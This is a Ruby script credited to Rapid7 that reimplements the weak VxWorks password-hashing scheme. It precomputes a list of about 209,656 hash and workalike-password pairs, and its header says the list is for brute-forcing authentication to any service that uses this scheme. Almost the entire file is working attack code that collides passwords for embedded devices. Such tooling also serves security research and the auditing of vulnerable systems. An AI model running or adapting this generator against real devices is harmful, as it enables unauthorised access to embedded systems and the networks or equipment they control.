vxmaster.rb 4.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200
  1. #!/usr/bin/env ruby
  2. #
  3. # This script calculates all possible password hashes for the vxworks platform.
  4. # The generated list can be used to bruteforce authentication to any service
  5. # using the vulnerable password hashing mechanism on the backend.
  6. #
  7. # (C) 2010 Rapid7
  8. #
  9. #
  10. # VxWorks converts the clear-text password into single integer value. This value
  11. # can only be one of about 210,000 possible options. The method below emulates
  12. # what the vxencrypt utility does and was implemented based on publicly indexed
  13. # documentation and source code snippets.
  14. #
  15. #
  16. # XXX: Newer VxWorks can use passwords up to 120 characters long, but this is
  17. # not very common in the wild.
  18. #
  19. def vxworks_sum_from_pass(pass)
  20. if pass.length < 8 or pass.length > 40
  21. raise RuntimeError, "too short or too long"
  22. end
  23. sum = 0
  24. bytes = pass.unpack("C*")
  25. bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) }
  26. sum
  27. end
  28. # VxWorks does a final round of "mangling" on the generated additive sum. This
  29. # mangle process does not add any additional security to the hashing mechanism
  30. def vxworks_hash_from_sum(sum)
  31. magic = 31695317
  32. res = ((sum * magic) & 0xffffffff).to_s
  33. res.unpack("C*").map{ |c|
  34. c += 0x21 if c < 0x33
  35. c += 0x2f if c < 0x37
  36. c += 0x42 if c < 0x39
  37. c
  38. }.pack("C*")
  39. end
  40. # This method tries to find an exact match for a given sum. This is inefficient,
  41. # but the master password only needs to be precomputed once.
  42. def vxworks_pass_from_sum_refine(sum, bsum, pass)
  43. 0.upto(pass.length-1) do |i|
  44. tpass = pass.dup
  45. while ( tpass[i, 1].unpack("C*")[0] > 0x21 )
  46. tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] - 1 ].pack("C")
  47. bsum = vxworks_sum_from_pass(tpass)
  48. if bsum == sum
  49. return tpass
  50. end
  51. end
  52. end
  53. 0.upto(pass.length-1) do |i|
  54. tpass = pass.dup
  55. while ( tpass[i, 1].unpack("C*")[0] < 0x7c )
  56. tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] + 1 ].pack("C")
  57. bsum = vxworks_sum_from_pass(tpass)
  58. if bsum == sum
  59. return tpass
  60. end
  61. end
  62. end
  63. "<failed>"
  64. end
  65. # This method locates a "workalike" password that matches a given
  66. # intermediate additive sum value.
  67. def vxworks_pass_from_sum(sum, lpass=nil)
  68. opass = lpass || "\x20" * 8
  69. pass = opass.dup
  70. fmax = (sum > 10000) ? 0xff : 0x7b
  71. pidx = 0
  72. pcnt = pass[0,1].unpack("C*")[0]
  73. more = false
  74. bsum = vxworks_sum_from_pass(pass)
  75. if bsum > sum
  76. return "<invalid>"
  77. end
  78. while bsum != sum
  79. if bsum > sum
  80. return vxworks_pass_from_sum_refine(sum, bsum, pass)
  81. end
  82. if pcnt > fmax
  83. pidx += 1
  84. if pidx == (pass.length)
  85. pass += " "
  86. end
  87. pcnt = pass[pidx, 1].unpack("C")[0]
  88. end
  89. pass[pidx,1] = [ pcnt ].pack("C")
  90. bsum = vxworks_sum_from_pass(pass)
  91. pcnt += 1
  92. end
  93. pass
  94. end
  95. outputfile = ARGV.shift() || "masterpasswords.txt"
  96. # Create the master password list output file
  97. ofd = File.open(outputfile, "wb")
  98. # Generate a wide range of "seeds" - the goal is to create a
  99. # workalike password with the smallest number of characters,
  100. # but still be printable when possible.
  101. seedsets = []
  102. seeds = []
  103. 8.upto(8) do |slen|
  104. 0x23.upto(0x7c) do |cset|
  105. sbase = [cset].pack("C") * slen
  106. seeds << [ vxworks_sum_from_pass(sbase), sbase ]
  107. end
  108. end
  109. seedsets << seeds
  110. seeds = []
  111. 8.upto(12) do |slen|
  112. 0x23.upto(0x7c) do |cset|
  113. sbase = [cset].pack("C") * slen
  114. seeds << [ vxworks_sum_from_pass(sbase), sbase ]
  115. end
  116. end
  117. seedsets << seeds
  118. seeds = []
  119. 8.upto(16) do |slen|
  120. 0x23.upto(0xf0) do |cset|
  121. sbase = [cset].pack("C") * slen
  122. seeds << [ vxworks_sum_from_pass(sbase), sbase ]
  123. end
  124. end
  125. seedsets << seeds
  126. seeds = []
  127. 8.upto(16) do |slen|
  128. 0x23.upto(0xff) do |cset|
  129. sbase = [cset].pack("C") * slen
  130. seeds << [ vxworks_sum_from_pass(sbase), sbase ]
  131. end
  132. end
  133. seedsets << seeds
  134. seeds = []
  135. 8.upto(40) do |slen|
  136. 0x23.upto(0xff) do |cset|
  137. sbase = [cset].pack("C") * slen
  138. seeds << [ vxworks_sum_from_pass(sbase), sbase ]
  139. end
  140. end
  141. seedsets << seeds
  142. # Calculate passwords and their hashes for all possible outputs
  143. 1.upto(209656) do |i|
  144. found = false
  145. seedsets.each do |seeds|
  146. lhash = nil
  147. seeds.reverse.each do |s|
  148. if i > (s[0] + 1000)
  149. lhash = s[1]
  150. break
  151. end
  152. end
  153. hash = vxworks_hash_from_sum(i)
  154. pass = vxworks_pass_from_sum(i, lhash)
  155. puts "[*] Generated #{i} of 209656 passwords..." if (i % 1000 == 0)
  156. # The first 1187 passwords are not very likely to occur and we skip
  157. # generation. These are "sums" that result in a value lesss than a
  158. # 8 digit password of all spaces.
  159. if i > 1187 and pass =~ /<.*>/
  160. # p "#{i} SEED '#{lhash}' => '#{hash}' => '#{pass}'"
  161. next
  162. end
  163. ofd.puts "#{i}|#{hash}|#{pass}\x00"
  164. found = true
  165. break
  166. end
  167. if not found
  168. puts "FAILED TO GENERATE #{i}"
  169. exit(0)
  170. end
  171. end